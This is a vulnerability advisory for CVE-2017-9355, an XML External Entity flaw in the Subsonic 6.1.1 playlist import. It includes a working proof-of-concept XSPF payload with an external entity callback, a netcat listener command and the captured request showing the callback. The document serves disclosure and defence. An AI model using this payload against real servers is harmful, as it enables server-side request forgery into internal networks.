Subsonic 6.1.1 XML External Entity Attack

`[+] Credits: John Page a.k.a hyp3rlinx   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/SUBSONIC-XML-EXTERNAL-ENITITY.txt  
[+] ISR: ApparitionSec   
  
  
  
Vendor:  
================  
www.subsonic.org  
  
  
  
Product:  
===============  
subsonic v6.1.1  
  
Subsonic is a media streaming server. You install it on your own computer where you keep your music or video collection.  
  
  
  
Vulnerability Type:  
====================  
XML External Entity   
  
  
  
CVE Reference:  
==============  
CVE-2017-9355  
  
  
  
  
Security Issue:  
================  
subsonic import playlist feature is succeptible to XML External Entity attack. To exploit a User must be tricked to  
import a malicious .XSPF playlist file. The XXE injection can be used to target various hosts from the internal network   
to bypass Firewall or from the internet as XML External Entity is related to Server Side Request Forgery (SSRF) attacks.  
  
  
  
  
Exploit/POC:  
=============  
1) Create some playlist file "RainbowsNUnic0rns.xspf"   
  
<?xml version="1.0"?>  
<!DOCTYPE mmmmmRaisins [   
<!ENTITY % mmmm SYSTEM "http://127.0.0.1:1337/">  
%mmmm;]>  
  
  
2) Import as playlist.  
  
  
3) Start listener.  
  
nc.exe -llvp 1337  
listening on [any] 1337 ...  
  
connect to [127.0.0.1] from USER-PC [127.0.0.1] 64428  
GET / HTTP/1.1  
Cache-Control: no-cache  
Pragma: no-cache  
User-Agent: Java/1.8.0_45  
Host: 127.0.0.1:1337  
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2  
Connection: keep-alive  
  
  
  
Network Access:  
===============  
Remote  
  
  
  
  
Severity:  
=========  
High  
  
  
  
Disclosure Timeline:  
==================================  
Vendor Notification: May 29, 2017  
Vendor Acknowledgement: May 30, 2017  
June 4, 2017 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`